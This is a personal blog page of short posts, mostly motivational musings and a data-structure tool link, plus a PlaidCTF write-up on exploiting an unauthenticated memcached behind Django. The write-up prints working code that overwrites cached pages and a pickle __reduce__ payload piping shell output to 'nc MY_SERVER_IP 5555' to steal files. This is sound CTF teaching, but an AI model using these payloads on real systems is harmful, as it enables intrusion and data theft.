Data Structure Visualizations

Update: David Galles (the author of the tool mentioned in this post) just told me a good news that he just rolled out the new HTML5 version of his awesome tool. Now you can enjoy cool animations right from your browser without the hassle of downloading the whole program. I tried it and it worked like a charm. Click here to try it yourself. Thanks David Galles ! 🙂 

This article made it to the homepage of  Hacker News,  popular bookmarks of Delicious and top posts of the day of WordPress. I’d like to say thanks for all readers for your enormous interest in such a simple post. 🙂

I always think the best way to understand complex data structures & algorithm is to see them in action. So I want to share with you an awesome data structure visualization tools written in Java by David Galles.

This tool is a comprehensive collection of common data structures and algorithms.  So just in case you lose your CS textbook and want to brush up your algorithm-fu for the upcoming software engineer interview, you may find this tool helpful.

You can check out some screenshoots of the program below; then download the its java version by click on this link : Data Structure Visualizations.

Dijkstra's algorithm

Dijkstra's algorithm


B-Tree

25 Comments

Filed under Programming

What if today were the last day of you life?

Steve Jobs gave one of his greatest speaks in the 119th commencement of Stanford University. Don’t get me wrong. I’m not a fan of Steve Jobs, but what he said in that speak was, in my opinion, undeniably true.

…No one wants to die. Even people who want to go to heaven don’t want to die to get there. And yet death is the destination we all share. No one has ever escaped it.. – Steve Jobs

If you ask me what I should bet on to get a surest win? My answer is I’m going to bet that one day you and me will die. I will definitely win since death is the inarguable fact, the law of nature.
The only thing matter here is “when?”. It could be 40 years from now, 10 years from now, a month from now or … even today? No one knows what tomorrow will be like. You could laugh with a friend today and tomorrow you would hear the news that you would never be able to see him or her again. Sad? Yes. But that might happen to you, me or all of us. My friend died in an accident three years ago, and that was just a few hours after we talked. Since then, I have realized that if I can’t predict how long I’m going to live, I will make every single day of my life counts. Life is short.

…Remembering that I’ll be dead soon is the most important tool I’ve ever encountered to help me make the big choices in life. Because almost everything — all external expectations, all pride, all fear of embarrassment or failure – these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.. –  Steve Jobs

9 Comments

Filed under Thoughts

PlaidCTF’s Django Challenge Writeup (Web 300)

This weekend I (abs|Zer0|) participated in the PlaidCTF organized by PPP. That was an awesome experience. Our team solved 3 out of 4 web challenges and I spent most of my time on the web challenge #16 which was related to Django.

In my opinion,this challenge was more about Memcached and the way Python’s pickle library serializes objects than about Django itself.
Since the challenge had been up for 4-5 hours without any team able to solve it, the organizer decided to give a hint which is the content of “settings.py”. At first I found nothing special with the file, it was just like a normal Django web configuration file. But when I took a closer look at it again, I found the website was using Memcached as a way to serve their website faster.

Note: For those of you who don’t know what memcached is : memcached is a distributed memory object caching system. That means you can store your object by making a call to memcached server and retrieve it back when you need it. Big websites like Facebook, Youtube and Twitter use memcached to store result sets of SQL queries in objects and pass them to memcached.

Within given amount of expiring time, their systems can connect to memcache and retrieve the SQL result sets without the need to make calls to SQL databases again. This results in a dramatic increase in performance; since the most common bottleneck of big web applications lies in SQL databases (Imagine JOINing two tables with millions of records).

Let’s take a look at the quick and easy-to-understand example from the memcached official website:
function get_foo(foo_id)
foo = memcached_get("foo:" . foo_id)
return foo if defined foo

foo = fetch_foo_from_database(foo_id)
memcached_set("foo:" . foo_id, foo)
return foo
end

So you can see, using Memcached is very simple: set(key, my_object) to store my_object in memcached server and get(key) to get back your object. Simply put, memcached is a hash table no more no less.
By default, to enhance speed, memcached does NOT support authentication; since it’s supposed to be run in the DMZ zone, not internet facing zone.

Back to the challenge, I saw they had a memcached server running at port 11211.
So I tried my luck :

abszero:/home/abszero$ nc -vv a12.amalgamated.biz 11211
Connection to a12.amalgamated.biz 11211 port [tcp/*] succeeded!

Cool! It’s open!

Now, obviously we can communicate with the memcached server through telnet, but it’s not realistic and inefficient. So I downloaded pylibmc library, which is the library Django uses to communicate with memcached server.
I tested the library by saving an object to memcached server:

>>> import pylibmc
... mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
... mc.behaviors = {"tcp_nodelay": True, "ketama": True}
... mc.set("abszer0", "the lowest possible temperature")  #save to key "abszer0"
... #now get it back
... print mc.get("abszer0")
the lowest possible temperature
0: True

Ok! So everything worked well.
Next, I want to see if django saved anything useful in the memcached server; but unfortunately according to official memcached documentation, they don’t provide any functions to enumrate all keys/values are currently being stored in memcached.

Hmm, it took me some time to find a special trick to dump all keys  . And even better, Daniel Rust has made a python library called memcached_stats for feature and put it on github . 🙂

I played with the library

>>> from memcached_stats import MemcachedStats
... mem = MemcachedStats('a12.amalgamated.biz','11211')
... print mem.keys()
[':1:views.decorators.cache.cache_header..2edc97fe4182046731384adbe3ff08e7.en-us', ':1:views.decorators.cache.cache_header..baff7b2337a5058f907713a57ac78a26.en-us', ':1:views.decorators.cache.cache_page..GET.2edc97fe4182046731384adbe3ff08e7.d41d8cd98f00b204e9800998ecf8427e.en-us', ':1:views.decorators.cache.cache_page..GET.a1b21330e9b6789a244daa41de1e155e.d41d8cd98f00b204e9800998ecf8427e.en-us', ':1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us', 'abszer0']

wow! So I could see all keys that were current being stored in memcached server (heck, it even included my key “abszer0“)

So why don’t I iterate through all keys and see what values do they hold?

>>> def enumerate_keys():
...   from memcached_stats import MemcachedStats
...   import pylibmc
...   mem = MemcachedStats('a12.amalgamated.biz','11211')
...   mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
...   mc.behaviors = {"tcp_nodelay": True, "ketama": True}
...
...   for i in mem.keys():
...         print "+ key:",i
...         print mc.get(i)
>>> enumerate_keys()
+ key: :1:views.decorators.cache.cache_header..baff7b2337a5058f907713a57ac78a26.en-us
[]
+key: :1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us
Last-Modified: Mon, 25 Apr 2011 03:45:42 GMT
Expires: Mon, 25 Apr 2011 03:55:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=600
... HTML content of the homepage
...

+key: abszer0
the lowest possible temperature

Hah! So the html content of the challenge was stored under the key “:1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us”
Let’s check what type of that key is:

>>> response = mc.get(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us")
1:

So HttpResponse object was stored here. Django used this cached object to output the html content to user to avoid making requests to the SQLite db (of course, if the object had not been expired). By now, I could deface the website just by editing this HttpResponse object with my html content and saving it to this particular key, then Django would blindly output to users. 🙂

>> response._container = "==AbsZer0=="
>> mc.set(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us", response)
3: True

Succeeded!! That was fun, but I needed the key to score points nonetheless.
So I needed to figure out how to advantage of this to exploit the system.

I spent some time to read Django documentation and read its code to understand how it works internally. I realized I could craft a HttpResponse object that has a malicious __str__() function then save it to memcached, and the BaseHandler would call it to render the page.
I created a function that reads ‘/etc/passwd’ and save it to the key called “justwannatestsomething

>>> def malicious():
...         secret = "justwannatestsomething"
...         from memcached_stats import MemcachedStats
...
...         import memcache
...         __mem = MemcachedStats('a12.amalgamated.biz','11211')
...         __mc = memcache.Client(['a12.amalgamated.biz:11211'], debug=1)
...
...         __mc.set(secret, open('/etc/passwd').read()) #payload to read /etc/passwd
...
...         return 'Internal Server Error..' #to make django happy
>>> response.render = malicious #assign it to render function
>>> mc.set(":1:views.decorators.cache.cache_page..GET.baff7b2337a5058f907713a57ac78a26.d41d8cd98f00b204e9800998ecf8427e.en-us", response)
4: True

Unfortunately, even though I had tried this method many times, mc.get(“justwannatestsomething”) never showed up with the content of ‘/etc/passwd’. T_T Something was wrong because I didn’t understand fully how Django works.

After that, I rested for a while and come back to see if there was still a way to exploit memcached. A while later, I realized there’s a surer way to run my payload: pylibmc used python Pickle to serialize/deserialize objects. So if I saved an object to memcached, on the other side (the ctf server), django would use pickle to deserialize that object and treat it like a normal one.
But, there’s a big BUT in here, I could use pickle to modify Existing object data, but how can I create a New CLASS of object and use that to run system commands? Remember python Pickle lib only works on objects not on python’s normal statements like :

import pickle
pickle.loads("os.system('cat /etc/passwd')") ##Failed!!

I was banging my head for a while and read carefully official pickle documentation.
Finally, I found out I could define a class that has __reduce__() function to let me do the trick I wanted with pickle. The following class told their CTF server to list all files in current directory and send it to my servers at MY_SERVER_IP (sorry can’t show it here).

>>> class havesomefun(object):
...   def __reduce__(self):
...     import subprocess
...     return (subprocess.Popen, (('/bin/sh','-c','ls ./ | nc MY_SERVER_IP 5555'),))

I also defined a function that set all django cache keys to the object I wanted in one call:

>>> def setter(payload):
...   from memcached_stats import MemcachedStats
...   import pylibmc
...   mem = MemcachedStats('a12.amalgamated.biz','11211')
...   mc = pylibmc.Client(["a12.amalgamated.biz"], binary=True)
...   mc.behaviors = {"tcp_nodelay": True, "ketama": True}
...   for i in mem.keys():
...       print i
...       if i.startswith(":1:views.decorators.cache.cache_page"):
...         print mc.set(i, payload)

>>>setter(havesomefun())
True

Ok , on my server I ran to wait for the connection:
zer0@li18:~$ nc -vv -l 5555

Then, I opened the django webpage to force it getting the cache object that injected with my payload. I was holding my breath to see the netcat status on my server.
And, it WORKED!!!!!!!

zer0@li18:~$ nc -vv -l 5555
Connection from 128.237.157.90 port 5555 [tcp/*] accepted
chal
chal.db
db
index.html

Wow it listed all the files in current directory and sent it to my server.
I crafted a new havesomefun() object to read what inside the “chal/” directory and forced django to reload from memcached again:

Connection from 128.237.157.90 port 5555 [tcp/*] accepted
KEY
__init__.py
__init__.pyc
chal.wsgi
example
manage.py
settings.py
settings.pyc
templates
urls.py
urls.pyc

Haha! So KEY’s here. Let’s do the last step to read its content:

>>> class havesomefun(object):
...   def __reduce__(self):
...     import subprocess
...     return (subprocess.Popen, (('/bin/sh','-c','cat /home/pctf-chal/chal/KEY | nc MY_SERVER_IP 5555'),))
>>>setter(havesomefun())
True

Then I looked back to my server, here’s what I saw:
zer0@li18:~$ nc -vv -l 5555
Connection from 128.237.157.90 port 5555 [tcp/*] accepted
You found a key: WHY_IS_THIS_SO_EASY

I solved it! Finally!! Yay!
=========

This was a long reading, thanks for reading this til the very end. Actually, during the ctf everything was not as smooth as described in here: a lot trials and errors and some unforseeable small problems need to tackle as well. But overall this one was really nice & creative challenge by PPP. Good work PPP!! 🙂

PS: I wrote this in a hurry and haven’t got time to proofread. I apologize for any inconvenience it may cause.

7 Comments

Filed under Hacking

History

“History will be kind to me, for I intend to write it.”

1 Comment

Filed under Personal

How to eat an Elephant?

“One bite at time”

Leave a comment

Filed under Thoughts

Zombie – Mindless living

Do you worry more about which party should you join this weekend or which brand of clothes should you buy than your future in the next 10 years?

Do you fill in the gaps of your life with any random activities that pop in your mind? Do you watch TV , play games or surf Facebook because you “just feel like doing it ” or “just have nothing to do?”

Do you have big dreams or wishes that long ago were abandoned in the very bottom of your mind to pursue things that satisfy your immediate needs?

Is your life often a video tape that by the end of the day it automatically rolls back for another round ?

Are you really just a mindless zombie?
Wake up!!

Life is not lost by dying; life is lost minute by minute, day by dragging day, in all the thousand small uncaring ways.  – Stephen Vincent Bené

Every man dies.  But not every man really lives.  -Braveheart

1 Comment

Filed under Thoughts

Tell yourself..

Tell yourself you’re going to fail this exam and you’ll  get an F.

Tell yourself you never get rich and you’ll live in poverty forever.

Tell yourself you are incompetent and you’ll never achieve anything.

The surest way to fail is to determine not to succeed – Richard B. Sheridan

1 Comment

Filed under Thoughts